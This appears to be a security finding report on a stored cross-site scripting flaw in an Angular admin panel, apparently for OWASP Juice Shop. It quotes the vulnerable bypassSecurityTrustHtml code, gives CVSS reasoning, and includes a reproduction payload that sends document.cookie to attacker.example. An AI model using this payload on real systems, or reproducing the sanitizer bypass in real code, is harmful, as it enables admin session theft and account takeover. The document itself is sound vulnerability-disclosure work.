XSS via bypassSecurityTrustHtml on user-controlled email and feedback comment in AdministrationComponent
User emails and feedback comments are wrapped in raw HTML and marked trusted via DomSanitizer.bypassSecurityTrustHtml in the admin panel, allowing stored XSS that fires in an administrator's browser.
findAllUsers() interpolates the raw user.email value (user-supplied at registration) directly into an HTML <span> and then bypasses Angular's sanitizer:
for (const user of this.userDataSource) {
user.email = this.sanitizer.bypassSecurityTrustHtml(
`<span class="${this.doesUserHaveAnActiveSession(user) ? 'confirmation' : 'error'}">${user.email}</span>`
)
}
Similarly findAllFeedbacks() wraps user-submitted feedback comments as trusted HTML:
for (const feedback of this.feedbackDataSource) {
feedback.comment = this.sanitizer.bypassSecurityTrustHtml(feedback.comment)
}
The resulting SafeHtml values are bound into the administration table (the template renders them with [innerHTML]). Both user.email and feedback.comment originate from untrusted users (registration form / public feedback endpoint), no sanitization library is invoked on the path to the sink, and bypassSecurityTrustHtml defeats Angular's built-in escaping. This is a stored XSS that targets an administrator.
- Register a user with an email like
"><img src=x onerror=fetch('https://attacker.example/?c='+document.cookie)>(or submit a feedback with a<script>/event-handler payload viaPOST /api/Feedbacks). - An administrator opens the
/administrationpage. findAllUsers()/findAllFeedbacks()wrap the attacker's payload as trusted HTML and Angular renders it directly, executing the script with the admin's session and exfiltrating their credentials/token.
Stored XSS in the admin panel. A low-privileged attacker (anyone who can register or submit feedback) gains code execution in any administrator's browser, enabling token theft, account takeover of the most privileged user, and full compromise of the application.
The code explicitly calls this.sanitizer.bypassSecurityTrustHtml() on attacker-controlled inputs: user.email is interpolated raw into a <span> template, and feedback.comment is wrapped directly as trusted HTML. Both inputs originate from untrusted endpoints (user registration and the public Feedbacks endpoint) and are rendered into the admin table via [innerHTML], defeating Angular's automatic escaping. An attacker registers/submits a payload like <img src=x onerror=...>, and when an admin opens /administration, the script runs in the admin's context — a classic stored XSS. Scope explicitly instructs to treat Juice Shop findings as real production bugs.
The payload is delivered by either registering a user (open endpoint) or submitting feedback via the public POST /api/Feedbacks flow, so no authentication is needed (PR:N) and the attack is remote over HTTP (AV:N, AC:L). Exploitation requires an administrator to navigate to /administration, which then triggers findAllUsers()/findAllFeedbacks() and renders the attacker's payload through bypassSecurityTrustHtml into [innerHTML] (UI:R). Because the stored payload executes in the admin's browser origin — a different security authority than the server that stored it — Scope is Changed; once it runs with admin session/token it allows full disclosure (C:H) and full modification (I:H) of application data, with some availability impact (A:L) from admin-level destructive actions but not a guaranteed sustained outage.
- CWE-79
- OWASP A03:2021 Injection
- https://angular.io/guide/security#bypass-security-apis